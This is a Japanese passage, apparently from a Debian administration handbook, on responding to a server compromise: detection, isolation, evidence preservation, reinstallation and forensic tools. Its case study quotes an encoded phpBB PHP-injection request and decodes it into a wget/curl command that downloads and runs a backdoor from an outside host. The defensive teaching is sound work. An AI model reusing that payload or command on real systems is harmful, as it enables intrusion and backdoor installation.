最良の意志と注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合にどのように対応するか、幾つかの指針を提供します。
クラッキング対応の最初の段階はこうした行為を把握する事です。クラッキング行為を、特に十分な監視設備が無い状態で、把握することは不可能です。
クラッキング行為は、クラッキング行為がマシンでホストされている正規のサービスに直接的な影響をもたらすまで、例えば接続が遅くなったり一部のユーザが接続不可能になったり様々な誤作動が起きるまで、検知されない事が多いです。これらの問題に直面したら、管理者はマシンをよく見て不正行為を注意深く調べる事が必要です。通常この時点で異常なプロセスが発見されます。例えば、標準的な /usr/sbin/apache2
の代わりに apache
と名付けられたプロセス等です。この例に従うなら、やるべきことはプロセス識別子を確認して、このプロセスが現在実行しているプログラムが何かを見るために /proc/pid/exe
を確認する事です:
#
ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
プログラムが /var/tmp/
の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。
これは一例に過ぎませんが、他にも管理者の注意を惹くような数多くの手掛かりが存在します:
動作しないコマンド; コマンドが要求するソフトウェアのバージョンが dpkg
によってインストールされたと考えられるバージョンと一致しません;
最後の接続元が別の大陸にある未知のサーバという事を示すコマンドプロンプトやセッション挨拶文;
/tmp/
パーティションが満杯になったことによるエラー、大量の映画の不正コピーで一杯です;
などです。
クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿、など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していない場合、ネットワークからコンピュータを切り離すことで、攻撃者は目標を達成できなくなります。
サーバが物理的にアクセス可能な場合のみ、これは可能です。サーバが物凄く遠くにあるホスティングプロバイダのデータセンターでホストされていたり、サーバにその他の理由でアクセスできない場合、幾つかの重要な情報の収集 (以下の説を参照) を開始して、可能な限り多くの (通常 sshd
を除くすべての) サービスをシャットダウンすることで可能な限りサーバを隔離する、ことは通常良いアイディアです。これはまだ都合が悪い状態です。なぜなら、攻撃者は管理者がしているのと同様に SSH アクセス可能だからです; このため、マシンを「きれいに」することは難しいです。
攻撃を理解したり、攻撃者に対して法的手段を取るには、すべての重要な要素の複製を取る事が必要です; これには、ハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリスト、が含まれます。RAM の内容を使う事も可能ですが、実際にこれが使われることはまれです。
作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします; これは良いアイディアではありません。すべてのコマンドは潜在的に破壊されており、様々な証拠を消してしまいます。確認は最低限 (ネットワーク接続状態を確認する netstat -tupan
、プロセスのリストを確認する ps auxf
、実行中プログラムのより詳しい情報を確認する ls -alR /proc/[0-9]*
) に留めるべきです。そして、すべての確認作業を注意深く記録するべきです。
「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変わっている間はそのようなイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(sync
を実行した後) サーバを無理矢理停止し、レスキュー CD を使って再起動する事がよく行われます。各パーティションは dd
などのツールを使ってコピーされるべきです; これらのイメージを他のサーバに送信する事が可能です (場合によってはとても便利な nc
ツールを使って送信します)。他のより簡単な方法もあります: 不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換えます。
不正侵入されたサーバを、完全に再インストールする前に、オンラインに戻すべきではありません。不正侵入が深刻な場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特にバックドア) が一掃された事を保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性を塞ぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析する事で、この最新のセキュリティ更新によって塞がれる脆弱性を使って不正侵入が行われた事が明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正された事を保証する事が可能です; さもなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正された事を期待することしかできません。
リモートサーバの再インストールは常に簡単というわけではありません; ホスティング会社の手助けが必要になる場合があります。なぜなら、ホスティング会社のすべてが自動再インストールシステムを提供しているとは限らないからです。不正侵入後に取られたバックアップからマシンを再インストールしないように注意してください。理想的に言えば、データだけを回復するべきです。実際のソフトウェアはインストールメディアから再インストールされるべきです。
サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。これらのイメージをマウントする際に、ro,nodev,noexec,noatime
オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行する事を防ぐ意味合いがあります。
通常、攻撃シナリオを辿るには、変更されて実行されたすべてを探し出す事が必要です。
.bash_history
ファイルには、極めて興味深い内容が含まれます;
最近作成、修正、アクセスされた listing ファイルも同様です;
strings
コマンドは攻撃者がインストールしたプログラムを識別する助けになります。このコマンドはバイナリからテキスト文字列を抽出します;
/var/log/
内のログファイルを使えば出来事の経過を辿る事が可能です;
特殊目的のツールを使うことで、潜在的に削除されたファイルの内容を復元する事が可能です。このファイルには攻撃者が削除したログファイルなどが含まれます。
これらの操作は専用ソフトウェアを使うことで簡単に実行する事が可能です。特に、
The Coroner Toolkit (
tct パッケージに含まれます) は専用ソフトウェアツール集です。
The Coroner Toolkit には幾つかのツールが含まれます; 中でも、起動中の不正侵入されたシステムからデータを収集する事が可能な
grave-robber
、ディスクの未使用領域から興味深いデータを抽出する
lazarus
、プロセスが使っているメモリの複製を取る事が可能な
pcat
は注目に値します。他のデータ抽出ツールも含まれています。
sleuthkit パッケージはファイルシステムを解析する別のツールを提供します。これは
Autopsy Forensic Browser グラフィカルインターフェース (
autopsy パッケージに含まれます) から簡単に使う事が可能です。
解析中に収集されたすべての要素はジグソーパズルのピースの如く組み合わさるべきです; 最初の疑わしいファイルの作成は破壊を証明するログと関係があります。実世界の例は長ったらしい理論よりもより明白であるべきです。
以下のログは Apache access.log
から抽出したものです:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
これは phpBB の古いセキュリティ脆弱性を突いた例です。
長い URL を復号することで、攻撃者が幾つかの PHP コードを実行しようと試みた事が理解できます。はっきり言うと: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")
です。確かに、bd
ファイルが /tmp/
の中で見つかりました。strings /mnt/tmp/bd
を実行したところ、他の文字列に混じって、PsychoPhobia Backdoor is starting...
が返されました。これはまさにバックドアのように見えます。
暫くの後、このアクセスは地下 IRC ネットワークに接続する IRC ボットをダウンロード、インストール、実行するために使われました。このボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。このプログラムは自分自身のログファイルを持っています:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
ログに残された痕跡によれば、82.50.72.202 IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存された事が判ります。
並行して、攻撃者はさらにファイルをダウンロードしました。/tmp/pt
と /tmp/loginx
です。strings
を介してこれらのファイルを調べると、Shellcode placed at 0x%08lx や Now wait for suid shell... などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の破壊行為の後どのファイルも修正されていなかったからです。
この例では、不正侵入のすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを 3 日間に渡って悪用する事ができたと推測する事が可能です; しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正された事を保証する事が可能です。